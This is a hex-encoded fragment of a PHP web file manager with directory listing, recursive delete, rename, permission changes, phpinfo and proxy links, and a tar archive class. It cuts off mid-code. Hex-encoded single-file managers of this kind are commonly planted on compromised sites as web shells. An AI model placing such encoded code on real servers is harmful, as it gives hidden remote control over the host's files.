97b0d0a202020206966284069735f646972282470617468202e202466696c6529297b0d0a202020202020202024646972735b5d203d202466696c653b0d0a202020207d20656c7365207b0d0a20202020202020202466696c65735b5d203d202466696c653b0d0a202020207d0d0a7d0d0a6e6174736f7274282464697273293b206e6174736f7274282466696c6573293b0d0a24656c656d656e7473203d2061727261795f6d657267652824646972732c202466696c6573293b0d0a0d0a666f7265616368202824656c656d656e7473206173202466696c65297b0d0a202020202466696c656e616d65203d202470617468202e202466696c653b0d0a202020202466696c6564617461203d204073746174282466696c656e616d65293b0d0a202020206966284069735f646972282466696c656e616d6529297b0d0a09092466696c65646174615b375d203d2027273b0d0a09096966202821656d7074792824666d5f636f6e6669675b2773686f775f6469725f73697a65275d29262621666d5f726f6f74282466696c652929202466696c65646174615b375d203d20666d5f6469725f73697a65282466696c656e616d65293b0d0a2020202020202020246c696e6b203d20273c6120687265663d22272e2475726c5f696e632e2726706174683d272e24706174682e2466696c652e2722207469746c653d22272e5f5f282753686f7727292e2720272e2466696c652e27223e3c7370616e20636c6173733d22666f6c646572223e266e6273703b266e6273703b266e6273703b266e6273703b3c2f7370616e3e20272e2466696c652e273c2f613e273b0d0a2020202020202020246c6f61646c696e6b3d2028666d5f726f6f74282466696c65297c7c24706861725f6d6179626529203f202727203a20666d5f6c696e6b28277a6970272c2466696c656e616d652c5f5f2827436f6d707265737327292e27266e6273703b7a6970272c5f5f2827417263686976696e6727292e2720272e202466696c65293b0d0a09092461726c696e6b20203d2028666d5f726f6f74282466696c65297c7c24706861725f6d6179626529203f202727203a20666d5f6c696e6b2827677a272c2466696c656e616d652c5f5f2827436f6d707265737327292e27266e6273703b2e7461722e677a272c5f5f2827417263686976696e6727292e2720272e2466696c65293b0d0a2020202020202020247374796c65203d2027726f7732273b0d0a0909206966202821666d5f726f6f74282466696c6529292024616c657274203d20276f6e436c69636b3d22696628636f6e6669726d285c2727202e205f5f282741726520796f75207375726520796f752077616e7420746f2064656c6574652074686973206469726563746f727920287265637572736976656c79293f27292e275c6e202f272e202466696c652e20275c27292920646f63756d656e742e6c6f636174696f6e2e68726566203d205c2727202e202475726c5f696e63202e20272664656c6574653d27202e202466696c65202e202726706174683d27202e20247061746820202e20275c2722273b20656c73652024616c657274203d2027273b0d0a202020207d20656c7365207b0d0a0909246c696e6b203d200d0a09090924666d5f636f6e6669675b2773686f775f696d67275d262640676574696d61676573697a65282466696c656e616d6529200d0a0909093f20273c61207461726765743d225f626c616e6b22206f6e636c69636b3d22766172206c6566746f203d2073637265656e2e617661696c57696474682f322d3332303b77696e646f772e6f70656e285c27270d0a0909092e20666d5f696d675f6c696e6b282466696c656e616d65290d0a0909092e275c272c5c27706f7075705c272c5c2777696474683d3634302c6865696768743d3438302c6c6566743d5c27202b206c6566746f202b205c272c7363726f6c6c626172733d7965732c746f6f6c6261723d6e6f2c6c6f636174696f6e3d6e6f2c6469726563746f726965733d6e6f2c7374617475733d6e6f5c27293b72657475726e2066616c73653b2220687265663d22272e666d5f696d675f6c696e6b282466696c656e616d65292e27223e3c7370616e20636c6173733d22696d67223e266e6273703b266e6273703b266e6273703b266e6273703b3c2f7370616e3e20272e2466696c652e273c2f613e270d0a0909093a20273c6120687265663d2227202e202475726c5f696e63202e202726656469743d27202e202466696c65202e202726706174683d27202e2024706174682e202722207469746c653d2227202e205f5f2827456469742729202e2027223e3c7370616e20636c6173733d2266696c65223e266e6273703b266e6273703b266e6273703b266e6273703b3c2f7370616e3e20272e2466696c652e273c2f613e273b0d0a090924655f617272203d206578706c6f646528222e222c202466696c65293b0d0a090924657874203d20656e642824655f617272293b0d0a2020202020202020246c6f61646c696e6b203d2020666d5f6c696e6b2827646f776e6c6f6164272c2466696c656e616d652c5f5f2827446f776e6c6f616427292c5f5f2827446f776e6c6f616427292e2720272e202466696c65293b0d0a09092461726c696e6b203d20696e5f617272617928246578742c617272617928277a6970272c27677a272c27746172272929200d0a09093f2027270d0a09093a202828666d5f726f6f74282466696c65297c7c24706861725f6d6179626529203f202727203a20666d5f6c696e6b2827677a66696c65272c2466696c656e616d652c5f5f2827436f6d707265737327292e27266e6273703b2e7461722e677a272c5f5f2827417263686976696e6727292e2720272e202466696c6529293b0d0a2020202020202020247374796c65203d2027726f7731273b0d0a090924616c657274203d20276f6e436c69636b3d22696628636f6e6669726d285c27272e205f5f282746696c652073656c656374656427292e273a205c6e272e202466696c652e20272e205c6e272e5f5f282741726520796f75207375726520796f752077616e7420746f2064656c65746520746869732066696c653f2729202e20275c27292920646f63756d656e742e6c6f636174696f6e2e68726566203d205c2727202e202475726c5f696e63202e20272664656c6574653d27202e202466696c65202e202726706174683d27202e20247061746820202e20275c2722273b0d0a202020207d0d0a202020202464656c6574656c696e6b203d20666d5f726f6f74282466696c6529203f202727203a20273c6120687265663d222322207469746c653d2227202e205f5f282744656c6574652729202e202720272e202466696c65202e2027222027202e2024616c657274202e20273e27202e205f5f282744656c6574652729202e20273c2f613e273b0d0a202020202472656e616d656c696e6b203d20666d5f726f6f74282466696c6529203f202727203a20273c6120687265663d2227202e202475726c5f696e63202e20272672656e616d653d27202e202466696c65202e202726706174683d27202e202470617468202e202722207469746c653d2227202e205f5f282752656e616d652729202e2720272e202466696c65202e2027223e27202e205f5f282752656e616d652729202e20273c2f613e273b0d0a202020202472696768747374657874203d20282466696c653d3d272e27207c7c202466696c653d3d272e2e2729203f202727203a20273c6120687265663d2227202e202475726c5f696e63202e2027267269676874733d27202e202466696c65202e202726706174683d27202e202470617468202e202722207469746c653d2227202e205f5f28275269676874732729202e2720272e202466696c65202e2027223e27202e2040666d5f7269676874735f737472696e67282466696c656e616d6529202e20273c2f613e273b0d0a3f3e0d0a3c747220636c6173733d223c3f3d247374796c653f3e223e200d0a202020203c74643e3c3f3d246c696e6b3f3e3c2f74643e0d0a202020203c74643e3c3f3d2466696c65646174615b375d3f3e3c2f74643e0d0a202020203c7464207374796c653d2277686974652d73706163653a6e6f77726170223e3c3f3d676d646174652822592d6d2d6420483a693a73222c2466696c65646174615b395d293f3e3c2f74643e0d0a202020203c74643e3c3f3d24726967687473746578743f3e3c2f74643e0d0a202020203c74643e3c3f3d2464656c6574656c696e6b3f3e3c2f74643e0d0a202020203c74643e3c3f3d2472656e616d656c696e6b3f3e3c2f74643e0d0a202020203c74643e3c3f3d246c6f61646c696e6b3f3e3c2f74643e0d0a202020203c74643e3c3f3d2461726c696e6b3f3e3c2f74643e0d0a3c2f74723e0d0a3c3f7068700d0a202020207d0d0a7d0d0a3f3e0d0a3c2f74626f64793e0d0a3c2f7461626c653e0d0a3c64697620636c6173733d22726f7733223e3c3f7068700d0a09246d74696d65203d206578706c6f6465282720272c206d6963726f74696d652829293b200d0a0924746f74616c74696d65203d20246d74696d655b305d202b20246d74696d655b315d202d2024737461727474696d653b200d0a096563686f20666d5f686f6d6528292e27207c207665722e20272e24666d5f76657273696f6e2e27207c203c6120687265663d2268747470733a2f2f6769746875622e636f6d2f44656e317878782f46696c656d616e61676572223e4769746875623c2f613e20207c203c6120687265663d22272e666d5f736974655f75726c28292e27223e2e3c2f613e273b0d0a096966202821656d7074792824666d5f636f6e6669675b2773686f775f7068705f766572275d2929206563686f2027207c2050485020272e70687076657273696f6e28293b0d0a096966202821656d7074792824666d5f636f6e6669675b2773686f775f7068705f696e69275d2929206563686f2027207c20272e7068705f696e695f6c6f616465645f66696c6528293b0d0a096966202821656d7074792824666d5f636f6e6669675b2773686f775f6774275d2929206563686f2027207c20272e5f5f282747656e65726174696f6e2074696d6527292e273a20272e726f756e642824746f74616c74696d652c32293b0d0a096966202821656d7074792824666d5f636f6e6669675b27656e61626c655f70726f7879275d2929206563686f2027207c203c6120687265663d223f70726f78793d74727565223e70726f78793c2f613e273b0d0a096966202821656d7074792824666d5f636f6e6669675b2773686f775f706870696e666f275d2929206563686f2027207c203c6120687265663d223f706870696e666f3d74727565223e706870696e666f3c2f613e273b0d0a096966202821656d7074792824666d5f636f6e6669675b2773686f775f786c73275d29262621656d70747928246c696e6b2929206563686f2027207c203c6120687265663d226a6176617363726970743a20766f696428302922206f6e636c69636b3d22766172206f626a203d206e6577207461626c6532457863656c28293b206f626a2e437265617465457863656c5368656574285c27666d5f7461626c655c272c5c276578706f72745c27293b22207469746c653d22272e5f5f2827446f776e6c6f616427292e2720786c73223e786c733c2f613e273b0d0a096966202821656d7074792824666d5f636f6e6669675b27666d5f73657474696e6773275d2929206563686f2027207c203c6120687265663d223f666d5f73657474696e67733d74727565223e272e5f5f282753657474696e677327292e273c2f613e273b0d0a093f3e0d0a3c2f6469763e0d0a3c73637269707420747970653d22746578742f6a617661736372697074223e0d0a66756e6374696f6e20646f776e6c6f61645f786c732866696c656e616d652c207465787429207b0d0a0976617220656c656d656e74203d20646f63756d656e742e637265617465456c656d656e7428276127293b0d0a09656c656d656e742e736574417474726962757465282768726566272c2027646174613a6170706c69636174696f6e2f766e642e6d732d657863656c3b6261736536342c27202b2074657874293b0d0a09656c656d656e742e7365744174747269627574652827646f776e6c6f6164272c2066696c656e616d65293b0d0a09656c656d656e742e7374796c652e646973706c6179203d20276e6f6e65273b0d0a09646f63756d656e742e626f64792e617070656e644368696c6428656c656d656e74293b0d0a09656c656d656e742e636c69636b28293b0d0a09646f63756d656e742e626f64792e72656d6f76654368696c6428656c656d656e74293b0d0a7d0d0a0d0a66756e6374696f6e206261736536345f656e636f6465286d29207b0d0a09666f722028766172206b203d20224142434445464748494a4b4c4d4e4f505152535455565758595a6162636465666768696a6b6c6d6e6f707172737475767778797a303132333435363738392b2f222e73706c6974282222292c20632c20642c20682c20652c20612c2067203d2022222c2062203d20302c20662c206c203d20303b206c203c206d2e6c656e6774683b202b2b6c29207b0d0a090963203d206d2e63686172436f64654174286c293b0d0a090969662028313238203e2063292064203d20313b0d0a0909656c73650d0a090909666f72202864203d20323b2063203e3d2032203c3c2035202a20643b29202b2b643b0d0a0909666f72202868203d20303b2068203c20643b202b2b68292031203d3d2064203f2065203d2063203a202865203d2068203f20313238203a203139322c2061203d2064202d2032202d2036202a20682c2030203c3d2061202626202865202b3d202836203c3d2061203f2031203a203029202b202835203c3d2061203f2032203a203029202b202834203c3d2061203f2034203a203029202b202833203c3d2061203f2038203a203029202b202832203c3d2061203f203136203a203029202b202831203c3d2061203f203332203a2030292c2061202d3d2035292c2030203e2061202626202875203d2036202a202864202d2031202d2068292c2065202b3d2063203e3e20752c2063202d3d2063203e3e2075203c3c207529292c2066203d2062203f2066203c3c2036202d2062203a20302c2062202b3d20322c2066202b3d2065203e3e20622c2067202b3d206b5b665d2c2066203d20652025202831203c3c2062292c2036203d3d2062202626202862203d20302c2067202b3d206b5b665d290d0a097d0d0a0962202626202867202b3d206b5b66203c3c2036202d20625d293b0d0a0972657475726e20670d0a7d0d0a0d0a0d0a766172207461626c65546f457863656c44617461203d202866756e6374696f6e2829207b0d0a2020202076617220757269203d2027646174613a6170706c69636174696f6e2f766e642e6d732d657863656c3b6261736536342c272c0d0a2020202074656d706c617465203d20273c68746d6c20786d6c6e733a6f3d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a6f66666963653a6f66666963652220786d6c6e733a783d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a6f66666963653a657863656c2220786d6c6e733d22687474703a2f2f7777772e77332e6f72672f54522f5245432d68746d6c3430223e3c686561643e3c212d2d5b696620677465206d736f20395d3e3c786d6c3e3c783a457863656c576f726b626f6f6b3e3c783a457863656c576f726b7368656574733e3c783a457863656c576f726b73686565743e3c783a4e616d653e7b776f726b73686565747d3c2f783a4e616d653e3c783a576f726b73686565744f7074696f6e733e3c783a446973706c6179477269646c696e65733e3c2f783a446973706c6179477269646c696e65733e3c2f783a576f726b73686565744f7074696f6e733e3c2f783a457863656c576f726b73686565743e3c2f783a457863656c576f726b7368656574733e3c2f783a457863656c576f726b626f6f6b3e3c2f786d6c3e3c215b656e6469665d2d2d3e3c6d65746120687474702d65717569763d22636f6e74656e742d747970652220636f6e74656e743d22746578742f706c61696e3b20636861727365743d5554462d38222f3e3c2f686561643e3c626f64793e3c7461626c653e7b7461626c657d3c2f7461626c653e3c2f626f64793e3c2f68746d6c3e272c0d0a20202020666f726d6174203d2066756e6374696f6e28732c206329207b0d0a20202020202020202020202072657475726e20732e7265706c616365282f7b285c772b297d2f672c2066756e6374696f6e286d2c207029207b0d0a2020202020202020202020202020202072657475726e20635b705d3b0d0a2020202020202020202020207d290d0a20202020202020207d0d0a2020202072657475726e2066756e6374696f6e287461626c652c206e616d6529207b0d0a202020202020202069662028217461626c652e6e6f64655479706529207461626c65203d20646f63756d656e742e676574456c656d656e7442794964287461626c65290d0a202020202020202076617220637478203d207b0d0a202020202020202020202020776f726b73686565743a206e616d65207c7c2027576f726b7368656574272c0d0a2020202020202020202020207461626c653a207461626c652e696e6e657248544d4c2e7265706c616365282f3c7370616e282e2a3f295c2f7370616e3e202f672c2222292e7265706c616365282f3c615c625b5e3e5d2a3e282e2a3f293c5c2f613e2f672c22243122290d0a20202020202020207d0d0a090974203d206e6577204461746528293b0d0a090966696c656e616d65203d2027666d5f27202b20742e746f49534f537472696e672829202b20272e786c73270d0a0909646f776e6c6f61645f786c732866696c656e616d652c206261736536345f656e636f646528666f726d61742874656d706c6174652c206374782929290d0a202020207d0d0a7d2928293b0d0a0d0a766172207461626c6532457863656c203d2066756e6374696f6e202829207b0d0a0d0a20202020766172207561203d2077696e646f772e6e6176696761746f722e757365724167656e743b0d0a20202020766172206d736965203d2075612e696e6465784f6628224d5349452022293b0d0a0d0a09746869732e437265617465457863656c5368656574203d200d0a090966756e6374696f6e28656c2c206e616d65297b0d0a090909696620286d736965203e2030207c7c2021216e6176696761746f722e757365724167656e742e6d61746368282f54726964656e742e2a72765c3a31315c2e2f2929207b2f2f20496620496e7465726e6574204578706c6f7265720d0a0d0a090909097661722078203d20646f63756d656e742e676574456c656d656e744279496428656c292e726f77733b0d0a0d0a0909090976617220786c73203d206e657720416374697665584f626a6563742822457863656c2e4170706c69636174696f6e22293b0d0a0d0a09090909786c732e76697369626c65203d20747275653b0d0a09090909786c732e576f726b626f6f6b732e4164640d0a09090909666f72202869203d20303b2069203c20782e6c656e6774683b20692b2b29207b0d0a09090909097661722079203d20785b695d2e63656c6c733b0d0a0d0a0909090909666f7220286a203d20303b206a203c20792e6c656e6774683b206a2b2b29207b0d0a090909090909786c732e43656c6c732869202b20312c206a202b2031292e56616c7565203d20795b6a5d2e696e6e6572546578743b0d0a09090909097d0d0a090909097d0d0a09090909786c732e56697369626c65203d20747275653b0d0a09090909786c732e55736572436f6e74726f6c203d20747275653b0d0a0909090972657475726e20786c733b0d0a0909097d20656c7365207b0d0a090909097461626c65546f457863656c4461746128656c2c206e616d65293b0d0a0909097d0d0a09097d0d0a7d0d0a3c2f7363726970743e0d0a3c2f626f64793e0d0a3c2f68746d6c3e0d0a0d0a3c3f7068700d0a2f2f506f727465642066726f6d2052656c6f6164434d532070726f6a65637420687474703a2f2f72656c6f6164636d732e636f6d0d0a636c6173732061726368697665546172207b0d0a097661722024617263686976655f6e616d65203d2027273b0d0a097661722024746d705f66696c65203d20303b0d0a09766172202466696c655f706f73203d20303b0d0a0976617220246973477a6970706564203d20747275653b0d0a0976617220246572726f7273203d20617272617928293b0d0a09766172202466696c6573203d20617272617928293b0d0a090d0a0966756e6374696f6e205f5f636f6e73747275637428297b0d0a0909696620282169737365742824746869732d3e6572726f727329292024746869732d3e6572726f7273203d20617272617928293b0d0a097d0d0a090d0a0966756e6374696f6e2063726561746541726368697665282466696c655f6c697374297b0d0a090924726573756c74203d2066616c73653b0d0a09096966202866696c655f6578697374732824746869732d3e617263686976655f6e616d65292026262069735f66696c652824746869732d3e617263686976655f6e616d6529292009246e657741726368697665203d2066616c73653b0d0a0909656c736520246e657741726368697665203d20747275653b0d0a090969662028246e657741726368697665297b0d0a090909696620282124746869732d3e6f70656e57726974652829292072657475726e2066616c73653b0d0a09097d20656c7365207b0d0a0909096966202866696c6573697a652824746869732d3e617263686976655f6e616d6529203d3d2030290972657475726e2024746869732d3e6f70656e577269746528293b0d0a0909096966202824746869732d3e6973477a697070656429207b0d0a0909090924746869732d3e636c6f7365546d7046696c6528293b0d0a09090909696620282172656e616d652824746869732d3e617263686976655f6e616d652c2024746869732d3e617263686976655f6e616d652e272e746d702729297b0d0a090909090924746869732d3e6572726f72735b5d203d205f5f282743616e6e6f742072656e616d6527292e2720272e24746869732d3e617263686976655f6e616d652e5f5f282720746f2027292e24746869732d3e617263686976655f6e616d652e272e746d70273b0d0a090909090972657475726e2066616c73653b0d0a090909097d0d0a0909090924746d7041726368697665203d20677a6f70656e2824746869732d3e617263686976655f6e616d652e272e746d70272c2027726227293b0d0a09090909696620282124746d7041726368697665297b0d0a090909090924746869732d3e6572726f72735b5d203d2024746869732d3e617263686976655f6e616d652e272e746d7020272e5f5f28276973206e6f74207265616461626c6527293b0d0a090909090972656e616d652824746869732d3e617263686976655f6e616d652e272e746d70272c2024746869732d3e617263686976655f6e616d65293b0d0a090909090972657475726e2066616c73653b0d0a090909097d0d0a09090909696620282124746869732d3e6f70656e57726974652829297b0d0a090909090972656e616d652824746869732d3e617263686976655f6e616d652e272e746d70272c2024746869732d3e617263686976655f6e616d65293b0d0a090909090972657475726e2066616c73653b0d0a090909097d0d0a0909090924627566666572203d20677a726561642824746d70417263686976652c20353132293b0d0a090909096966202821677a656f662824746d704172636869766529297b0d0a0909090909646f207b0d0a0909090909092462696e61727944617461203d207061636b282761353132272c2024627566666572293b0d0a09090909090924746869732d3e7772697465426c6f636b282462696e61727944617461293b0d0a09090909090924627566666572203d20677a726561642824746d70417263686976652c20353132293b0d0a09090909097d0d0a09090909097768696c65202821677a656f662824746d704172636869766529293b0d0a090909097d0d0a09090909677a636c6f73652824746d7041726368697665293b0d0a09090909756e6c696e6b2824746869732d3e617263686976655f6e616d652e272e746d7027293b0d0a0909097d20656c7365207b0d0a0909090924746869732d3e746d705f66696c65203d20666f70656e2824746869732d3e617263686976655f6e616d652c2027722b6227293b0d0a09090909696620282124746869732d3e746d705f66696c65290972657475726e2066616c73653b0d0a0909097d0d0a09097d0d0a0909696620286973736574282466696c655f6c697374292026262069735f6172726179282466696c655f6c6973742929207b0d0a090969662028636f756e74282466696c655f6c697374293e30290d0a09090924726573756c74203d2024746869732d3e7061636b46696c654172726179282466696c655f6c697374293b0d0a09097d20656c73652024746869732d3e6572726f72735b5d203d205f5f28274e6f2066696c6527292e5f5f282720746f2027292e5f5f28274172636869766527293b0d0a0909696620282824726573756c742926262869735f7265736f757263652824746869732d3e746d705f66696c652929297b0d0a0909092462696e61727944617461203d207061636b282761353132272c202727293b0d0a09090924746869732d3e7772697465426c6f636b282462696e61727944617461293b0d0a09097d0d0a090924746869732d3e636c6f7365546d7046696c6528293b0d0a090969662028246e657741726368697665202626202124726573756c74297b0d0a090924746869732d3e636c6f7365546d7046696c6528293b0d0a0909756e6c696e6b2824746869732d3e617263686976655f6e616d65293b0d0a09097d0d0a090972657475726e2024726573756c743b0d0a097d0d0a0d0a0966756e6374696f6e20726573746f726541726368697665282470617468297b0d0a09092466696c654e616d65203d2024746869732d3e617263686976655f6e616d653b0d0a0909696620282124746869732d3e6973477a6970706564297b0d0a0909096966202866696c655f657869737473282466696c654e616d6529297b0d0a0909090969662028246670203d20666f70656e282466696c654e616d652c202772622729297b0d0a09090909092464617461203d206672656164282466702c2032293b0d0a090909090966636c6f736528246670293b0d0a0909090909696620282464617461203d3d20275c33375c32313327297b0d0a09090909090924746869732d3e6973477a6970706564203d20747275653b0d0a09090909097d0d0a090909097d0d0a0909097d0d0a090909656c73656966202828737562737472282466696c654e616d652c202d3229203d3d2027677a2729204f522028737562737472282466696c654e616d652c202d3329203d3d202774677a2729292024746869732d3e6973477a6970706564203d20747275653b0d0a09097d200d0a090924726573756c74203d20747275653b0d0a09096966202824746869732d3e6973477a6970706564292024746869732d3e746d705f66696c65203d20677a6f70656e282466696c654e616d652c2027726227293b0d0a0909656c73652024746869732d3e746d705f66696c65203d20666f70656e282466696c654e616d652c2027726227293b0d0a0909696620282124746869732d3e746d705f66696c65297b0d0a09090924746869732d3e6572726f72735b5d203d202466696c654e616d652e2720272e5f5f28276973206e6f74207265616461626c6527293b0d0a09090972657475726e2066616c73653b0d0a09097d0d0a090924726573756c74203d2024746869732d3e756e7061636b46696c654172726179282470617468293b0d0a09090924746869732d3e636c6f7365546d7046696c6528293b0d0a090972657475726e2024726573756c743b0d0a097d0d0a0d0a0966756e6374696f6e2073686f774572726f72730928246d657373616765203d20272729207b0d0a0909244572726f7273203d2024746869732d3e6572726f72733b0d0a0909696628636f756e7428244572726f7273293e3029207b0d0a09096966202821656d70747928246d657373616765292920246d657373616765203d20272028272e246d6573736167652e2729273b0d0a090909246d657373616765203d205f5f28274572726f72206f6363757272656427292e246d6573736167652e273a203c62722f3e273b0d0a090909666f72656163682028244572726f7273206173202476616c7565290d0a09090909246d657373616765202e3d202476616c75652e273c62722f3e273b0d0a09090972657475726e20246d6573736167653b090d0a09097d20656c73652072657475726e2027273b0d0a09090d0a097d0d0a090d0a0966756e6374696f6e207061636b46696c654172726179282466696c655f6172726179297b0d0a090924726573756c74203d20747275653b0d0a0909696620282124746869732d3e746d705f66696c65297b0d0a09090924746869732d3e6572726f72735b5d203d205f5f2827496e76616c69642066696c652064657363726970746f7227293b0d0a09090972657475726e2066616c73653b0d0a09097d0d0a0909696620282169735f6172726179282466696c655f617272617929207c7c20636f756e74282466696c655f6172726179293c3d30290d0a2020202020202020202072657475726e20747275653b0d0a0909666f7220282469203d20303b2024693c636f756e74282466696c655f6172726179293b2024692b2b297b0d0a0909092466696c656e616d65203d202466696c655f61727261795b24695d3b0d0a090909696620282466696c656e616d65203d3d2024746869732d3e617263686976655f6e616d65290d0a09090909636f6e74696e75653b0d0a090909696620287374726c656e282466696c656e616d65293c3d30290d0a09090909636f6e74696e75653b0d0a090909696620282166696c655f657869737473282466696c656e616d6529297b0d0a0909090924746869732d3e6572726f72735b5d203d205f5f28274e6f2066696c6527292e2720272e2466696c656e616d653b0d0a09090909636f6e74696e75653b0d0a0909097d0d0a090909696620282124746869732d3e746d705f66696c65297b0d0a09090924746869732d3e6572726f72735b5d203d205f5f2827496e76616c69642066696c652064657363726970746f7227293b0d0a09090972657475726e2066616c73653b0d0a0909097d0d0a0909696620287374726c656e282466696c656e616d65293c3d30297b0d0a09090924746869732d3e6572726f72735b5d203d205f5f282746696c656e616d6527292e2720272e5f5f2827697320696e636f727265637427293b3b0d0a09090972657475726e2066616c73653b0d0a09097d0d0a09092466696c656e616d65203d207374725f7265706c61636528275c5c272c20272f272c202466696c656e616d65293b0d0a0909246b6565705f66696c656e616d65203d2024746869732d3e6d616b65476f6f6450617468282466696c656e616d65293b0d0a09096966202869735f66696c65282466696c656e616d6529297b0d0a09090969662028282466696c65203d20666f70656e282466696c656e616d652c20277262272929203d3d2030297b0d0a0909090924746869732d3e6572726f72735b5d203d205f5f28274d6f64652027292e5f5f2827697320696e636f727265637427293b0d0a0909097d0d0a090909096966282824746869732d3e66696c655f706f73203d3d203029297b0d0a09090909096966282124746869732d3e7772697465486561646572282466696c656e616d652c20246b6565705f66696c656e616d6529290d0a09090909090972657475726e2066616c73653b0d0a090909097d0d0a090909097768696c6520282824627566666572203d206672656164282466696c652c20353132292920213d202727297b0d0a09090909092462696e61727944617461203d207061636b282761353132272c2024627566666572293b0d0a090909090924746869732d3e7772697465426c6f636b282462696e61727944617461293b0d0a090909097d0d0a09090966636c6f7365282466696c65293b0d0a09097d09656c73652024746869732d3e7772697465486561646572282466696c656e616d652c20246b6565705f66696c656e616d65293b0d0a090909696620284069735f646972282466696c656e616d6529297b0d0a090909096966202821282468616e646c65203d206f70656e646972282466696c656e616d652929297b0d0a090909090924746869732d3e6572726f72735b5d203d205f5f28274572726f7227292e273a20272e5f5f28274469726563746f72792027292e2466696c656e616d652e5f5f28276973206e6f74207265616461626c6527293b0d0a0909090909636f6e74696e75653b0d0a090909097d0d0a090909097768696c65202866616c736520213d3d202824646972203d2072656164646972282468616e646c652929297b0d0a09090909096966202824646972213d272e272026262024646972213d272e2e27297b0d0a0909090909092466696c655f61727261795f746d70203d20617272617928293b0d0a090909090909696620282466696c656e616d6520213d20272e27290d0a090909090909092466696c655f61727261795f746d705b5d203d202466696c656e616d652e272f272e246469723b0d0a090909090909656c73650d0a090909090909092466696c655f61727261795f746d705b5d203d20246469723b0d0a0d0a09090909090924726573756c74203d2024746869732d3e7061636b46696c654172726179282466696c655f61727261795f746d70293b0d0a09090909097d0d0a090909097d0d0a09090909756e736574282466696c655f61727261795f746d70293b0d0a09090909756e7365742824646972293b0d0a09090909756e736574282468616e646c65293b0d0a0909097d0d0a09097d0d0a090972657475726e2024726573756c743b0d0a097d0d0a0d0a0966756e6374696f6e20756e7061636b46696c654172726179282470617468297b200d0a09092470617468203d207374725f7265706c61636528275c5c272c20272f272c202470617468293b0d0a0909696620282470617468203d3d202727097c7c20287375627374722824706174682c20302c20312920213d20272f27202626207375627374722824706174682c20302c20332920213d20272e2e2f272026262021737472706f732824706174682c20273a27292929092470617468203d20272e2f272e24706174683b0d0a0909636c65617273746174636163686528293b0d0a09097768696c6520287374726c656e282462696e61727944617461203d2024746869732d3e72656164426c6f636b28292920213d2030297b0d0a090909696620282124746869732d3e72656164486561646572282462696e617279446174612c202468656164657229292072657475726e2066616c73653b0d0a09090969662028246865616465725b2766696c656e616d65275d203d3d2027272920636f6e74696e75653b0d0a09090969662028246865616465725b2774797065666c6167275d203d3d20274c27297b0909092f2f72656164696e67206c6f6e67206865616465720d0a090909092466696c656e616d65203d2027273b0d0a090909092464656372203d20666c6f6f7228246865616465725b2773697a65275d2f353132293b0d0a09090909666f7220282469203d20303b202469203c2024646563723b2024692b2b297b0d0a090909090924636f6e74656e74203d2024746869732d3e72656164426c6f636b28293b0d0a09090909092466696c656e616d65202e3d2024636f6e74656e743b0d0a090909097d0d0a090909096966202828246c61737069656365203d20246865616465725b2773697a65275d2025203531322920213d2030297b0d0a090909090924636f6e74656e74203d2024746869732d3e72656164426c6f636b28293b0d0a09090909092466696c656e616d65202e3d207375627374722824636f6e74656e742c20302c20246c61737069656365293b0d0a090909097d0d0a090909092462696e61727944617461203d2024746869732d3e72656164426c6f636b28293b0d0a09090909696620282124746869732d3e72656164486561646572282462696e617279446174612c202468656164657229292072657475726e2066616c73653b0d0a09090909656c736520246865616465725b2766696c656e616d65275d203d202466696c656e616d653b0d0a0909090972657475726e20747275653b0d0a0909097d0d0a0909096966202828247061746820213d20272e2f27292026262028247061746820213d20272f2729297b0d0a090909097768696c6520287375627374722824706174682c202d3129203d3d20272f2729202470617468203d207375627374722824706174682c20302c207374726c656e282470617468292d31293b0d0a090909096966202873756273747228246865616465725b2766696c656e616d65275d2c20302c203129203d3d20272f272920246865616465725b2766696c656e616d65275d203d2024706174682e246865616465725b2766696c656e616d65275d3b0d0a09090909656c736520246865616465725b2766696c656e616d65275d203d2024706174682e272f272e246865616465725b2766696c656e616d65275d3b0d0a0909097d0d0a0909090d0a0909096966202866696c655f65786973747328246865616465725b2766696c656e616d65275d29297b0d0a0909090969662028284069735f64697228246865616465725b2766696c656e616d65275d29292026262028246865616465725b2774797065666c6167275d203d3d20272729297b0d0a090909090924746869732d3e6572726f72735b5d203d5f5f282746696c652027292e246865616465725b2766696c656e616d65275d2e5f5f282720616c72656164792065786973747327292e5f5f282720617320666f6c64657227293b0d0a090909090972657475726e2066616c73653b0d0a090909097d0d0a09090909696620282869735f66696c6528246865616465725b2766696c656e616d65275d29292026262028246865616465725b2774797065666c6167275d203d3d2027352729297b0d0a090909090924746869732d3e6572726f72735b5d203d5f5f282743616e6e6f7420637265617465206469726563746f727927292e272e20272e5f5f282746696c652027292e246865616465725b2766696c656e616d65275d2e5f5f282720616c72656164792065786973747327293b0d0a090909090972657475726e2066616c73653b0d0a090909097d0d0a09090909696620282169735f777269746561626c6528246865616465725b2766696c656e616d65275d29297b0d0a090909090924746869732d3e6572726f72735b5d203d205f5f282743616e6e6f7420777269746520746f2066696c6527292e272e20272e5f5f282746696c652027292e246865616465725b2766696c656e616d65275d2e5f5f282720616c72656164792065786973747327293b0d0a090909090972657475726e2066616c73653b0d0a090909097d0d0a0909097d20656c7365696620282824746869732d3e646972436865636b2828246865616465725b2774797065666c6167275d203d3d20273527203f20246865616465725b2766696c656e616d65275d203a206469726e616d6528246865616465725b2766696c656e616d65275d2929292920213d2031297b0d0a0909090924746869732d3e6572726f72735b5d203d205f5f282743616e6e6f7420637265617465206469726563746f727927292e2720272e5f5f282720666f722027292e246865616465725b2766696c656e616d65275d3b0d0a0909090972657475726e2066616c73653b0d0a0909097d0d0a0d0a09090969662028246865616465725b2774797065666c6167275d203d3d20273527297b0d0a09090909696620282166696c655f65786973747328246865616465725b2766696c656e616d65275d292909097b0d0a090909090969662028216d6b64697228246865616465725b2766696c656e616d65275d2c20303737372929097b0d0a0909090909090d0a09090909090924746869732d3e6572726f72735b5d203d205f5f282743616e6e6f7420637265617465206469726563746f727927292e2720272e246865616465725b2766696c656e616d65275d3b0d0a09090909090972657475726e2066616c73653b0d0a09090909097d200d0a090909097d0d0a0909097d20656c7365207b0d0a0909090969662028282464657374696e6174696f6e203d20666f70656e28246865616465725b2766696c656e616d65275d2c20277762272929203d3d203029207b0d0a090909090924746869732d3e6572726f72735b5d203d205f5f282743616e6e6f7420777269746520746f2066696c6527292e2720272e246865616465725b2766696c656e616d65275d3b0d0a090909090972657475726e2066616c73653b0d0a090909097d20656c7365207b0d0a09090909092464656372203d20666c6f6f7228246865616465725b2773697a65275d2f353132293b0d0a0909090909666f7220282469203d20303b202469203c2024646563723b2024692b2b2920